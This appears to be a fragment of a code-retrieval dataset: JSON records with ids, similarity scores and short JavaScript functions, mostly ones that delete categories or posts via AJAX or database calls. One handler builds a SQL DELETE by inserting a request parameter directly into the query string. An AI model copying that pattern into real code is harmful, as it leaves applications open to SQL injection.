deleted: ', cat);\n if (confirm(`Are you sure you want to permanently delete '${cat.title}'?`)) {\n axios.delete(`/admin/categories?id=${cat.id}`, this.$root.headers)\n .then(resp => {\n let idx = this.categories.findIndex(c => c.id === cat.id);\n let defaultCat = this.categories.find(c => c.id === this.defaultCategoryId);\n defaultCat.count += cat.count;\n this.categories.splice(idx, 1);\n this.$root.toast('Category deleted.');\n })\n .catch(err => {\n this.$root.toastError('Delete category failed.');\n console.error(err);\n });\n }\n }", "title": "" }, { "docid": "ffa23251c1e069a36b05ca2b547c54a6", "score": "0.67483246", "text": "function deleteCatnrf(req, res){\n\tconsole.log(\"deleteCat\");\n\tcategoryService.delete(req.body)\n\t\t.then(function(){\n\t\t\tres.sendStatus(200);\n\t\t})\n\t\t.catch(function(err){\n\t\t\tres.status(400).send(err);\n\t\t});\n}", "title": "" }, { "docid": "1f6d239591750cb6b60e42811357528b", "score": "0.6711902", "text": "function deleteCateory(id) {\n Swal.fire({\n title: 'Are you sure?',\n text: \"You won't be able to revert this!\",\n icon: 'warning',\n showCancelButton: true,\n confirmButtonColor: '#3085d6',\n cancelButtonColor: '#d33',\n confirmButtonText: 'Yes, delete it!'\n }).then((result) => {\n if (result.isConfirmed) {\n Swal.fire(\n 'Deleted!',\n 'Your category has been deleted.',\n 'success'\n )\n var option = {\n method: 'DELETE',\n headers: {\n 'Content-Type': 'application/json'\n // 'Content-Type': 'application/x-www-form-urlencoded',\n }\n }\n //Call Api\n async function postData(url = '') {\n const response = await fetch(url, option);\n return response.json();\n }\n\n postData(urlCategory + \"/\" + id)\n .then(dataRes => {\n console.log(dataRes)\n document.querySelector(`.category_id--${id}`).remove();\n });\n }\n })\n\n\n}", "title": "" }, { "docid": "2eee9590a124f79b17e038e713343b27", "score": "0.67080456", "text": "function deleteanimal(cod_animal) {\n var cod = cod_animal;\n $.ajax(\n {\n dataType: 'json',\n headers: {\n Accept: \"application/json\",\n \"Access-Control-Allow-Origin\": \"*\"\n },\n type: 'DELETE',\n url: 'http://localhost/git1/animal/' + cod,\n success: function (data) {\n sucesso_delete();\n },\n error: function (data) {\n erro_delete();\n }\n });\n}", "title": "" }, { "docid": "e67ec6244420473fcb29698da81efe62", "score": "0.669008", "text": "deleteCategory(categoryId)\n {\n const promiseResult = CategoryModel.removeCategory({_id:categoryId});\n return promiseResult;\n }", "title": "" }, { "docid": "9e82c143abc01de1127cbc896ad898e7", "score": "0.66868126", "text": "function deleteProductCategory(category) {\n\n //Sets loading to true\n setLoading(true);\n\n //Calls delete on service\n productsFactory.deleteProductCategory(category.id)\n .then(function () {\n //Success\n\n },\n function () {\n //Error\n\n })\n .then(function () {\n //Sets loading to false\n setLoading(false);\n });\n }", "title": "" }, { "docid": "4d734f5e832d5bc3442e94281fadb0f7", "score": "0.66547406", "text": "async destroy(context) {\n try {\n const body = context.request.only(['id']);\n const status = await CategoryService.destroy(body.id);\n context.session.flash({\n status: true,\n message: 'Delete category Successfull'\n }); \n } catch(e) {\n context.session.flash({\n status: false,\n message: 'Delete category failed:' + e.message\n })\n }\n context.response.route('admin.category.index');\n }", "title": "" }, { "docid": "8d05173818205fa04402043948e49554", "score": "0.6635717", "text": "function ajaxDelete(url, successCallback, errorCallback) {\n $.ajax({\n headers: {\n 'X-CSRF-TOKEN': $('meta[name=\"csrf-token\"]').attr('content')\n },\n type: 'DELETE',\n url: URL_ROOT + url,\n success: successCallback,\n error: function(data) {\n var statusCode = data.statusCode().status;\n var errors = data.responseJSON;\n errorCallback(statusCode, errors);\n }\n });\n }", "title": "" }, { "docid": "de7d476d42b3da5fa2f02d79c7c247d8", "score": "0.663188", "text": "deleteCategory() {\n let list = document.getElementById(\"categorieslist\");\n if (list.selectedCount < 1) {\n return;\n }\n\n let categoryNameFix = cal.view.formatStringForCSSRule(gCategoryList[list.selectedIndex]);\n this.backupData(categoryNameFix);\n try {\n categoryPrefBranch.clearUserPref(categoryNameFix);\n } catch (ex) {\n // If the pref doesn't exist, don't bail out here.\n }\n\n // Remove category entry from listbox and gCategoryList.\n let newSelection =\n list.selectedItem.nextElementSibling || list.selectedItem.previousElementSibling;\n let selectedItems = Array.from(list.selectedItems);\n for (let i = list.selectedCount - 1; i >= 0; i--) {\n let item = selectedItems[i];\n if (item == newSelection) {\n newSelection = newSelection.nextElementSibling || newSelection.previousElementSibling;\n }\n gCategoryList.splice(list.getIndexOfItem(item), 1);\n item.remove();\n }\n list.selectedItem = newSelection;\n this.updateButtons();\n\n // Update the prefs from gCategoryList\n this.updatePrefs();\n }", "title": "" }, { "docid": "bc5ce2a5556b9ce27a8172cca992a1f1", "score": "0.6601189", "text": "function deletePost(id) {\n $.ajax({\n method: \"DELETE\",\n url: \"/api/posts/\" + id\n }).then(function() {\n getPosts(postCategorySelect.val());\n });\n }", "title": "" }, { "docid": "bc5ce2a5556b9ce27a8172cca992a1f1", "score": "0.6601189", "text": "function deletePost(id) {\n $.ajax({\n method: \"DELETE\",\n url: \"/api/posts/\" + id\n }).then(function() {\n getPosts(postCategorySelect.val());\n });\n }", "title": "" }, { "docid": "291826a6c153f3b6fa9ca6f30f4e8e10", "score": "0.6588821", "text": "function deleteItem(){\r\n id = $(this).parent().attr(\"id\")\r\n request = {\r\n url: \"deleteProduct/\" + id + \"/\",\r\n type: \"DELETE\",\r\n success: delMessage,\r\n error: error\r\n }\r\n var csrf = \"input[name=csrfmiddlewaretoken]\"\r\n $.ajax(request)\r\n $(this).parent().remove()\r\n}", "title": "" }, { "docid": "298afe373a39cbbe726a32d50a819be1", "score": "0.6573355", "text": "function deletePost(id) {\n $.ajax({\n method: \"DELETE\",\n url: \"/api/posts/\" + id\n })\n .then(function () {\n getPosts(postCategorySelect.val());\n });\n }", "title": "" }, { "docid": "4a959308634be220c3f965de50ea480d", "score": "0.65636986", "text": "async delete(req, res){\n let id = req.params.id;\n\n try {\n let response = await database.query(`DELETE FROM categoria WHERE id_categoria = ${id}`);\n res.json(response);\n } catch (error) {\n console.log(`O error gerado é: ${error}`);\n }\n }", "title": "" }, { "docid": "66b001a5629feb4a286ec58a6b8d08f4", "score": "0.65533924", "text": "function deletePost(id) {\n $.ajax({\n method: \"DELETE\",\n url: \"/api/posts/\" + id\n })\n .then(function() {\n getPosts(postCategorySelect.val());\n });\n }", "title": "" }, { "docid": "112bf36561391846a6ea56c1ed4519ad", "score": "0.6553105", "text": "function deletePost(id) {\n $.ajax({\n method: \"DELETE\",\n url: \"/api/posts/\" + id\n })\n .done(function() {\n getPosts(postCategorySelect.val());\n });\n }", "title": "" }, { "docid": "dd918423a2b8268bbdd6af1d19b1a606", "score": "0.65183556", "text": "function eliminarCategoria(id){\n\t\t$.ajax({\n\t\t\ttype: 'DELETE',\n\t\t\turl: 'api/categoria/' + id,\n\t\t\tsuccess: function(estado){\n\t\t\t\t\t\tif(estado === 'sesionCaducada'){\n\t\t\t\t\t\t\t$('#gestor-admin').click();\n\t\t\t\t\t\t} else if(estado === 'error'){\n\t\t\t\t\t\t\tcrearAlertaCategoria('alert-danger', 'Error al Eliminar la Categoria: Noticias Asociadas.');\n\t\t\t\t\t\t} else {\n\t\t\t\t\t\t\t$('.categoria' + id).remove();\n\t\t\t\t\t\t\tif(!$('#tablaCategorias').children().length){\n\t\t\t\t\t\t\t\tcrearNoItemTablaCategoria();\n\t\t\t\t\t\t\t\tcrearNoItemDesplegableCategoria();\n\t\t\t\t\t\t\t};\n\t\t\t\t\t\t\tcrearAlertaCategoria('alert-success', 'Categoria Eliminada Exitosamente.');\n\t\t\t\t\t\t};\n\t\t\t\t\t},\n\t\t\terror: function(){\n\t\t\t\t\t\tcrearAlertaCategoria('alert-danger', 'Error de Comunicacion con la API.');\n\t\t\t\t\t}\n\t\t});\n\t}", "title": "" }, { "docid": "be4e993339cd694b49eeaf6b312ed5b5", "score": "0.6517503", "text": "function deleteArticle(id) {\r\n const url = ARTICLE_URL + '/' + id;\r\n\r\n console.log(url);\r\n\r\n $.ajax({\r\n url: url,\r\n type: \"DELETE\",\r\n beforeSend: function (xhr) {\r\n console.log(xhr);\r\n }\r\n }).done(function (dataFromServer) {\r\n console.log(dataFromServer);\r\n })\r\n}", "title": "" }, { "docid": "498e69fa1973f19e91e2714251fb92f1", "score": "0.65050995", "text": "function amDelete(id,index) {\n\t$.ajax({\n\t\ttype:'Get',\n\t\turl: 'jsdelete',\n\t\tdata:{\n\t\t\tid:id\n\t\t},\n\t\tsuccess:function(resultData){\n\t\t\tif(resultData.success=='T'){\n\t\t\t\talert('~~ 회원 탈퇴 성공 !!! 1달 뒤에 재가입가능합니다 ~~');\n\t\t\t\t// 삭제됨 으로 변경하고, 더이상 클릭하지 못하도록 함\n\t\t\t\t// => 그러나, this는 적용 안됨\n\t\t\t\t// => ajax 가 실행되면서 this는 이미 변경됨\n\t\t\t\t// => this 대신 사용 가능한 속성이 필요함 (id를 부여해서 사용)\n\t\t\t\t\n\t\t\t\t// => <span> 에 id 를 적용한 경우 \n\t\t\t\t// => JQ 메서드가 적용안되므로 <td>의 값을 변경함\n\t\t\t\t// $('#'+index).html(\"Deleted\").removeClass('textLink');\n\t\t\t\t// $('#'+index).off(); // 이벤트(textLink) 제거\n\t\t\t\t// => Deleted는 적용 되지만, removeClass , off적용안됨.\n\t\t\t\t$('#'+index).html(\"Deleted\");\n\t\t\t\t$('#'+index).css({\n\t\t\t\t\tcolor:'gray',\n\t\t\t\t\tfontWeight:'bold'\t\t\t\t\t\n\t\t\t\t});\n\t\t\t\t\t\t\t\t\n\t\t\t}else{\n\t\t\t\talert('~~ 회원 탈퇴 실패 !!! 잠시후 다시 하세요 ~~');\n\t\t\t}\n\t\t},\n\t\terror:function(){\n\t\t\talert('~~ 서버 오류 !!! 잠시후 다시 하세요 ~~');\n\t\t}\t\t\n\t})//ajax\n}//amDelete", "title": "" }, { "docid": "55fd4063b54196b6825d5c8d1afbe8bd", "score": "0.6461817", "text": "function deleteKoala(koalaId){\n\n $.ajax({\n method: 'DELETE',\n url: `/holla/${koalaId}`\n })\n .then( function(response){\n getKoalas();\n }).catch( function(error) {\n console.log('Could not delete koala', error);\n alert(`Sorry! Could not delete koala`);\n\n })\n}", "title": "" }, { "docid": "c13deb366da51007582a3d6f37da6fca", "score": "0.6450963", "text": "function categoryDeleter(event, obj) {\n event.stopPropagation();\n var category = obj.parentElement;\n var categoryId = category.getAttribute('categoryId');\n\n db.serialize(function(){\n\n // db.run(\"DELETE FROM LAST_SELECTED_CATEGORY WHERE category=\"+categoryId, function(err){}); \n db.run(\"UPDATE LAST_SELECTED_CATEGORY SET category=? WHERE category=?\", 0, categoryId, function(err){});\n\n db.run(\"DELETE FROM CATEGORY WHERE id=?\",categoryId, function(err){\n if(err){\n console.log(err);\n }else{\n category.style.transform = \"translateX(-200vw)\";\n setTimeout(function(){\n category.parentElement.removeChild(category);\n }, 250);\n cleanUp();\n }\n });\n\n function cleanUp(){\n if(lastCategoryType == 'TASK'){\n db.run(\"DELETE FROM TASK WHERE category=?\",categoryId, function(err){\n if(err){\n console.log(err);\n }else{\n step2();\n }\n });\n }else if (lastCategoryType == 'NOTE') {\n db.run(\"DELETE FROM NOTE WHERE category=?\",categoryId, function(err){\n if(err){\n console.log(err);\n }else{\n step2();\n }\n }); \n }\n function step2(){\n db.run(\"DELETE FROM LAST_ORDER WHERE category=? \", categoryId, function(err){\n if(err){\n console.log(err);\n }else{\n proceed();\n }\n });\n }\n\n function proceed(){\n db.get(\"SELECT COUNT(*) AS num FROM CATEGORY WHERE type=?\", lastCategoryType, function(err, row){\n if (err != null) {\n console.log(err);\n }else if(row.num == 0){\n var tks = document.querySelectorAll('.task');\n for(var i=0; i<tks.length; i++){\n tks[i].parentElement.removeChild(tks[i]);\n }\n selectedCategory = 0;\n popup();\n document.getElementById('closePopupBtn').style.pointerEvents = 'none';\n document.getElementById('closePopupBtn').style.textDecorationLine = 'line-through';\n } else {\n if(selectedCategory == categoryId){ \n selectOtherCategory();\n }\n }\n });\n\n function selectOtherCategory(){\n db.get(\"SELECT id, category FROM CATEGORY WHERE type=? ORDER BY id ASC LIMIT 1\", lastCategoryType, function(err, row){\n selectedCategory = row.id;\n selectedCategoryName = row.category;\n saveNewlySelectedCategory();\n });\n }\n\n function saveNewlySelectedCategory(){\n // db.run(\"INSERT INTO LAST_SELECTED_CATEGORY(category) VALUES(?)\", selectedCategory, function(error){\n db.run(\"UPDATE LAST_SELECTED_CATEGORY SET category=? WHERE type=?\", selectedCategory, lastCategoryType, function(error){\n if(error == null) {\n loadTasksToCategory();\n if(document.querySelector('.category[categoryId=\"'+selectedCategory+'\"]') && uiState == \"TRANSPARENT\")\n document.querySelector('.category[categoryId=\"'+selectedCategory+'\"]').classList.add('activeTransparent');\n else if(document.querySelector('.category[categoryId=\"'+selectedCategory+'\"]'))\n // document.querySelector('.category[categoryId=\"'+selectedCategory+'\"]').classList.add('active');\n document.querySelector('.category[categoryId=\"'+selectedCategory+'\"]').classList.add('activeTransparent');\n }\n });\n }\n\n }\n\n\n };\n\n });\n}", "title": "" }, { "docid": "7e5eb3afafc05932c7b9218a030f4b6a", "score": "0.64464194", "text": "function removeProduct(id,url)\n{\n $.ajax({\n type: 'POST',\n url: url,\n dataType: 'json',\n data: {id: id},\n success: function(data)\n {\n if(data != null)\n {\n if(!data.error)\n $(\"#Pro\"+id).remove();\n }\n }\n })\n}", "title": "" }, { "docid": "e7c1bf9b77d23c45e1b3ccf440890ebd", "score": "0.6432108", "text": "function handlerDestroyAlbum(e){\n e.preventDefault();\n\n var link = $(this),\n article = link.closest('article'),\n currentUserNameId = article.attr('data-current-user'),\n albumId = article.attr('data-album-id');\n\n $.ajax({\n url: '/users/' + currentUserNameId + '/albums/' + albumId,\n type: 'POST',\n data: { _method: 'DELETE' },\n success: function(result){\n article.fadeOut(300);\n handleModal('Удаление альбома прошло успешно', '', '00ff2a', 2000);\n },\n error: function(xhr, ajaxOptions, thrownError){\n handleModal('Удаление альбома завершилось с ошибкой', 'У вас не хватает прав. ' + xhr.status + ' error', 'f00', 2000);\n } \n })\n }", "title": "" }, { "docid": "26f6a596e57fc94a27a814d897acb2f3", "score": "0.6402481", "text": "function deleteCat(id) {\n axios.delete('http://localhost:8080/category/'+ id)\n .then(function (response) {\n console.log(response);\n window.location.href='./index.html'\n window.alert(\"Are you sure you want to deleted?\");\n\n })\n .catch(function (error) {\n console.log(error);\n });\n \n}", "title": "" }, { "docid": "2d7230e62af66d3d9f7c88c5a65a7096", "score": "0.6396554", "text": "function deleteCategory(req, res) {\n return categoryService.deleteCategory(req, res)\n .then((result) => {\n return result\n })\n}", "title": "" }, { "docid": "122db990bb28e9e7fcdc22777d6b5be4", "score": "0.63929826", "text": "deleteCategory(propertyCategoryID) {\n\t\tfetch(`https://maximum-arena-3000.codio-box.uk/api/categories/propertyCategory/${propertyCategoryID}`, {\n\t\t\tmethod: \"DELETE\",\n\t\t\tbody: null,\n\t\t\theaders: {\n\t\t\t\t\"Authorization\": \"Basic \" + btoa(this.context.user.username + \":\" + this.context.user.password)\n\t\t\t}\n\t\t})\n\t\t\t.then(status)\n\t\t\t.then(json)\n\t\t\t.then(dataFromServer => {\n\t\t\t\tthis.componentWillMount();\n\t\t\t})\n\t\t\t.catch(error => {\n\t\t\t\tconsole.log(error)\n\t\t\t\tmessage.error('Could not delete the category. Try Again!', 5);\n\t\t\t});\n\t}", "title": "" }, { "docid": "b7711f298411ecea3467b0aefb8e041e", "score": "0.6378152", "text": "function DeleteArticuloById(idArticulo) {\n var url = '/api/Articulo/' + idArticulo;\n $.ajax({\n url: url,\n type: 'DELETE',\n contentType: \"application/json;chartset=utf-8\",\n statusCode: {\n 200: function () {\n GetAll();\n ClearForm();\n alert('Articulo con id: ' + idArticulo + ' se elimino');\n },\n 404: function () {\n alert('Articulo con id: ' + idArticulo + ' no se elimino');\n }\n }\n });\n}", "title": "" }, { "docid": "0953d779afb4df16563a4565c4b65d33", "score": "0.63688886", "text": "async deleteCategory(id){\n try {\n let flag = await Category.findOneAndRemove({_id:ObjectId(id)});\n } catch (error) {\n console.error(error);\n }\n }", "title": "" }, { "docid": "be149212a9bd92e984759e744cf132f0", "score": "0.6367494", "text": "function keywordToDelete(category, keyword) {\n\tif (confirm('Möchten Sie das Schlagwort \"' + keyword + '\" aus der Kategorie \"' + category + '\" wirklich löschen. Das System wird dann nicht mehr nach diesem Schlagwort. Die bisherigen Daten bleiben in der Datenbank erhalten und können weiterhin eingesehen werden.')) {\n\t\t$.ajax({\n\t\t\ttype: 'DELETE',\n\t\t\turl: '/api/deleteKeyword',\n\t\t\tdata: '{\"keyword\":\"' + keyword + '\", \"category\":\"' + category + '\"}',\n\t\t\tcontentType: 'application/json'\n\t\t}).then(function() {\n\t\t\t\t$.get(\"/api/keywords\", function(data) {\n\t\t\t\t\tlocalData.keywords = data;\n\t\t\t\t\treloadKeywords();\n\t\t\t\t\tshowAlert(keyword + \" gelöscht!\", Level.Success, 1000);\n\t\t\t\t});\n\t\t\t},\n\t\t\tfunction(error) {\n\t\t\t\tshowAlert(error.responseJSON.err.de, Level.Warning, 4000);\n\t\t\t});\n\t}\n}", "title": "" }, { "docid": "03f889b96cb15ff2f558482f557dcd1a", "score": "0.63626397", "text": "function del(id) {\n // var id = $('#ramesh').attr('photos-id')\n console.log(id);\n var confirmation = confirm('Are you sure you want to delete?' + id);\n if (confirmation) {\n $.ajax({\n type: \"POST\",\n url: \"/album/delete/\" + id,\n dataType: \"json\",\n success: function (data) {\n $('#row' + id).remove();\n }\n });\n } else {\n return false;\n }\n}", "title": "" }, { "docid": "2c790b6ed1eab68096ad4cff8087345a", "score": "0.6347372", "text": "function deleteCompany() {\n\n $('.delete-company').click(function () {\n const id = $(this).attr(\"name\");\n $.ajax({\n type: \"PUT\",\n headers: {\n \"adminbksoftwarevn\": tokenHeader_value,\n },\n contentType: \"application/json\",\n url: \"api/v1/admin/delete-company?id=\" + id,\n timeout: 30000,\n success: function () {\n $('.delete-big-category').prop(\"disabled\", true);\n alert('DELETE SUCCESS');\n },\n error: function (jqXHR, textStatus, errorThrown) {\n alert(\"DELETE FAIL\");\n errMess(jqXHR, textStatus, errorThrown);\n }\n });\n });\n}", "title": "" }, { "docid": "f195e5a64841fe0cbc5801bcf35630f7", "score": "0.6347226", "text": "function deleteCategoria(idCategoria) {\n\n Swal.fire({\n title: 'Estas seguro?',\n text: \"No se podrá revertir la eliminación!\",\n type: 'warning',\n showCancelButton: true,\n confirmButtonColor: '#3085d6',\n cancelButtonColor: '#d33',\n confirmButtonText: 'Sí, borrarlo!',\n cancelButtonText: '!Cancelar!'\n }).then((result) => {\n if (result.value) {\n $.ajax({\n url: \"categorias\",\n type: \"POST\",\n data: {\n idCategoria: idCategoria\n },\n dataType: \"html\",\n success: function(respuesta) {\n swal({\n title: \"Exito!\",\n text: \"¡Su dato ha sido borrado exitosamente!\",\n type: \"success\",\n confirmButtonText: \"Cerrar\",\n preConfirm: false\n }).then(function(isConfirm) {\n if (isConfirm) {\n location.reload();\n }\n });\n },\n error: function(xhr, ajaxOptions, thrownError) {\n swal({\n title: \"Ocurrió un error!\",\n text: \"¡Por favor intente de nuevo!\",\n type: \"error\",\n confirmButtonText: \"Cerrar\",\n preConfirm: false\n }).then(function(isConfirm) {\n if (isConfirm) {\n location.reload();\n }\n });\n }\n });\n }\n });\n}", "title": "" }, { "docid": "ac0229426cd38649dc7a008478d8890f", "score": "0.63370305", "text": "function listDeleteCategories(){\n $(\"#queryMessage\").empty();\n $(\"#listOfCategories1\").empty();\n $(\"#listOfCategories3\").empty();\n //$(\"#listEarningCashiers\").empty();\n\n $(\"#categoryName1\").val(\"\");\n $(\"#categoryDesc1\").val(\"\");\n\n $.ajax({\n url: \"categoryManager/obtainCategories\",\n type: \"POST\",\n data: {},\n\n success: function(data) {\n $(\"#listOfCategories2\").html(data);\n }\n });\n}", "title": "" }, { "docid": "9c76e26e26cd7b69abe419303bd2fe8b", "score": "0.6326611", "text": "delete_cat(req,res, next){\n Category.delete({_id:req.params.id})\n .then(()=>res.redirect('back'))\n .catch(next)\n }", "title": "" }, { "docid": "46a2a7a7ff1e1ff2a2ce616e694ca720", "score": "0.6320063", "text": "function eliminaComentario(id_comentario){\n\t$.get(\n\t \"/eliminaComentario\",\n\t {id_comentario: id_comentario},\n\t function(data){ \n\t \tif (data.tipo == \"success\"){\n\t\t\t\t$(\"#\"+id_comentario).remove();\n\n\t \t}else{\n\t \t\tconsole.log(\"error\");\n\t \t\tconsole.log(data);\n\t \t}\n\t },\n\t \"json\"\n\t);\n}", "title": "" }, { "docid": "fd526fa1a793d8935a5905f635eb3ec9", "score": "0.63140565", "text": "function httpDeleteItem() {\n $.ajax({\n type: 'DELETE',\n url: '/api/orders/',\n data: {\n item: $(this).attr('data-title')\n },\n success: res => {\n $(`#div${$(this).attr('id')}`).remove();\n }\n });\n}", "title": "" }, { "docid": "5c296fc81b4357b8c4b5ddea88c4abc5", "score": "0.630307", "text": "function deleteCategory() {\n var categoryDelete = document.forms[\"delCategory\"][\"selectNameD\"].value;\n\n var request = indexedDB.open(nameDB);\n\n request.onsuccess = function(event) {\n\n var db = event.target.result; \n var objectStore = db.transaction([\"categorias\"],\"readwrite\").objectStore(\"categorias\");\n\n objectStore.openCursor().onsuccess = function(event) {\n \n var category = event.target.result;\n\n if (category) {\n\n if (categoryDelete == category.value.name) {\n\n objectStore.delete(category.value.name);\n\n var contentP = document.getElementById(\"principal\");\n \n var advise = document.createElement(\"h5\");\n advise.setAttribute(\"class\",\"text-center text-primary\");\n advise.setAttribute(\"style\",\"width:100%\");\n var textAd = document.createTextNode(\"Categoria \" + categoryDelete + \" Borrada del sistema\");\n advise.appendChild(textAd);\n\n contentP.appendChild(advise);\n }\n\n category.continue();\n }\n \n }\n }\n\n}", "title": "" }, { "docid": "247bfb4ec24c1fe295df9cacc9418ad1", "score": "0.6295921", "text": "function DeleteItem(uri, id) {\n\n //COMIENZO DE LA PETICION AJAX PARA ELIMINAR REGISTRO\n $.ajax({\n type: \"POST\", //TIPO DE ACCION\n url: uri,//ACCION O METODO A REALIZAR\n data: { \"id\": id }, //SERIALIZACION DE LOS DATOS A ENVIAR\n success: function (data) {\n if (data.success) {//SI SE ELIMINO CORRECTAMENTE\n //ELIMINAR EL DIV DEL OBJETO ELIMINADO\n $(\"div\").remove(\"#\" + id);\n deletePagination();\n agregarPagination();\n swal(data.message, { icon: \"success\" });\n }//FIN IF\n else\n swal(\"Error\", data.message, \"error\");\n },//FIN SUCCESS\n error: function () {\n swal(\"Error\", \"Vuelvalo a intentar\", \"error\");\n }//FIN ERROR\n });//FIN AJAX\n\n return false;\n\n}//FIN FUNCTION", "title": "" }, { "docid": "f0d4c6c222e226d095bed752143d9bb0", "score": "0.6294962", "text": "function eliminarEstudiante(id) \r\n {\r\n $('#'+id).remove();\r\n\r\n $.ajax\r\n ({\r\n type:\"DELETE\" ,\r\n url: '/eliminarEstudiante?id='+id,\r\n dataType: \"text\",\r\n error: function (xhr, ajaxOptions, thrownError)\r\n {\r\n console.log(xhr.status);\r\n console.log(thrownError);\r\n console.log(ajaxOptions);\r\n \r\n },\r\n success: function()\r\n { \r\n $('#modal_est').modal('toggle');\r\n }\r\n }); \r\n }", "title": "" }, { "docid": "fdd2fdec04a83332f55e30f201d3b80d", "score": "0.62943614", "text": "function deleteFilm() {\n var id = $(this).data('id');\n var url = DELETE_FILM + id;\n $.ajax(\n {\n method: \"DELETE\",\n url: url\n }).done(function (data) {\n if (data.success == true) {\n alert('suppression effectuée');\n\n // recharger la liste des films\n $(\"#detail\").hide();\n /*\n Pour faire faire pareil que le hide en JS, ca donnerai le code:\n var detail = j'accroche avec l'id...;\n detail.attr('style' ,'display:none')\n detail.style.display = 'none';*/\n\n $(\"#list ul\").empty();\n loadFilms();\n }\n else\n alert('erreur');\n })\n\n }", "title": "" }, { "docid": "00c0ef5648990ea4ce8493db79603cc0", "score": "0.6291276", "text": "function deleteCategory(id)\n{\n // if(confirm(\"Are you sure?\")) {\n // $(this).closest('tr').remove();\n deleteCategoryFromTable(id);\n //}\n}", "title": "" }, { "docid": "6e673d3233c3d2b1efcd08a4143992be", "score": "0.62899876", "text": "function deleteoption(id) {\n\n if (confirm(\"Are you sure you want to delete?\") == true) {\n\n\tvar categoria = $(\"#categoria\").val()\n\tvar ruta=\"\";var tabla=\"\"; var pais= $(\"#paises\").val()\n\t if(categoria==\"0\" ){\n\t\t \truta=\"deleteoptionplans.php\";\n\t\t \ttabla=\"plan\";\n\t\t }else if(categoria==\"1\" ){\n\t\t \truta=\"deleteoptionplans.php\";\n\t\t\t\t\ttabla=\"banner\";\n\t\t }else if(categoria==\"2\" ){\n\t\t \truta=\"deleteoptionplans.php\";\n\t\t \ttabla=\"pricing\";\n\t \t}//fin si\n\n\n\t\t\t\tvar ajax = $.ajax({\n\t\t\t\t url: \"php/\"+ruta,\n\t\t\t\t type: \"post\",\n\t\t\t\t data: {\"id\":id,\"tabla\":tabla,\"pais\":pais }\n\t\t\t\t \n\t\t\t\t});\n\t\t\t\t// la función de devolución satisfactoria (sucess)\n\t\t\t\tajax.done(function(data){\n\t\t\t\t\t$(\"[id*=option\"+id+\"]\").remove();\n\t\t\t\t});\n\t\t\t\t\n\t\t\t\t\n\n\t\n\t}//fin si\n\t\n \n }//fin delete", "title": "" }, { "docid": "d1a3b5e620a823735171b7e90182f702", "score": "0.6282964", "text": "function removeFromDb(pos, category){\n\t\n\tvar xhttp = new XMLHttpRequest();\n\txhttp.onreadystatechange = function() {\n\t\tif (xhttp.readyState == 4 && xhttp.status == 200) \n\t\t{\n\t\t\tloadList();\n\t\t\t\n\t\t}\n\t};\n\txhttp.open(\"GET\", \"removeFromShopList.php?position=\"+pos+\"&categoryid=\"+category, true);\n\txhttp.send();\n\t\n}", "title": "" }, { "docid": "191e287f2453e91529adf7dbecf87712", "score": "0.6272437", "text": "async handleWebshopCategoryRemove(req, res) {\r\n\t\ttry {\r\n\t\t\tconst category = await db('Webshop_categories').where({\r\n\t\t\t\tid: req.body.id\r\n\t\t\t}).first();\r\n\t\t\tres.locals.category = category;\r\n\t\t\tif (category) {\r\n\t\t\t\tconst items = await db('Webshop_items').where({\r\n\t\t\t\t\tcategoryid: res.locals.category.id\r\n\t\t\t\t}).first();\r\n\t\t\t\tif (!items) {\r\n\t\t\t\t\tawait db('Webshop_categories').where({\r\n\t\t\t\t\t\tid: res.locals.category.id\r\n\t\t\t\t\t}).del();\r\n\t\t\t\t\treq.flash('success', 'Se ha borrado la categoria corrrectamente');\r\n\t\t\t\t\tres.redirect('/admincp/webshop');\r\n\t\t\t\t} else {\r\n\t\t\t\t\treq.flash('error', 'No se puede borrar una categoria con items en ella');\r\n\t\t\t\t\tres.redirect('/admincp/webshop');\r\n\t\t\t\t}\r\n\t\t\t} else {\r\n\t\t\t\treq.flash('error', 'La categoria no existe');\r\n\t\t\t\tres.redirect('/admincp/webshop');\r\n\t\t\t}\r\n\t\t} catch (error) {\r\n\t\t\treq.flash('error', 'Hubo un error conectando con la base de datos.');\r\n\t\t\tres.redirect('/admincp/webshop');\r\n\t\t\thelpers.submitError('adminController.handleWebshopCategoryRemove', error);\r\n\t\t}\r\n\t}", "title": "" }, { "docid": "a87fe33bfdf3caa9e9d23150340f4013", "score": "0.6252524", "text": "function vc_delete_assign_city_ajax(id) {\n var vc_id = id;\n jQuery.ajax({\n url: vc_ajax_url.ajax_url,\n type: 'post',\n data: {\n action: 'vc_delete_assigned_category_ajax', \n id: vc_id,\n },\n success: function (data) {\n jQuery('#cityCategoryTbody').html(data); \n jQuery('#city_id').prop('selectedIndex',0); \n jQuery('#category_id').prop('selectedIndex',0); \n }\n });\n }", "title": "" }, { "docid": "c749f858765594889ab0e4c432080e1a", "score": "0.6241865", "text": "function removeTodo(todo, category, btn)\n\t{\n\t\tvar parameters = {\n\t\t\t\ttodo: todo,\n\t\t\t\tcategory: category\n\t\t\t}\n\t\t\n\t\t// call python function to remove from SQL \n\t\t$.ajax(\n\t\t{\n\t\t\turl: Flask.url_for(\"removeTodo\"),\n\t\t\tdata: parameters,\n\t\t\tsuccess: function()\n\t\t\t{\n\t\t\t\t// remove from HTML list\n\t\t\t\tbtn.parentNode.remove();\n\t\t\t},\n\t\t\terror: function()\n\t\t\t{\n\t\t\t\tconsole.log(\"fail:(\");\n\t\t\t}\n\t\t});\n\t}", "title": "" }, { "docid": "a9099a7cb98ce2693224edca1459599c", "score": "0.623815", "text": "function deleteNewsStatus() {\n $('.delete-news').click(function () {\n const id = $(this).attr(\"name\");\n console.log(\"id-news \" + id);\n $.ajax({\n type: \"PUT\",\n headers: {\n \"Authorization\": tokenHeader_admin_value,\n },\n contentType: \"application/json\",\n url: \"api/v1/user/news/delete?id=\" + id,\n timeout: 30000,\n success: function () {\n alert('DELETE SUCCESS');\n location.href = \"check-news\";\n },\n error: function (jqXHR, textStatus, errorThrown) {\n errMess(jqXHR, textStatus, errorThrown);\n }\n });\n });\n}", "title": "" }, { "docid": "9fb3ac20074f182cd9374fd6cc6a4726", "score": "0.62341845", "text": "function deleteNode(type, url) {\n var jqxhr = $.ajax({\n url: url,\n type: 'POST',\n dataType: 'script',\n data: {'_method':'delete'}\n });\n\n jqxhr.always( function (data) {\n if (data == '') {\n $('#'+type+'s_form').html('');\n }\n else {\n $('#'+type+'s_form').html(data.responseText);\n }\n\n flashInfo('Video was updated successfully')\n formChanged = false;\n });\n}", "title": "" }, { "docid": "35f6898b44851fa703f766dc3359a2ff", "score": "0.6231119", "text": "function delete_lesson(lesson_id) {\n console.log(\"delete_lesson(\"+lesson_id+\")\");\n\n $.ajax({\n url : 'https://broncode.cs.wmich.edu/api/lessons/' 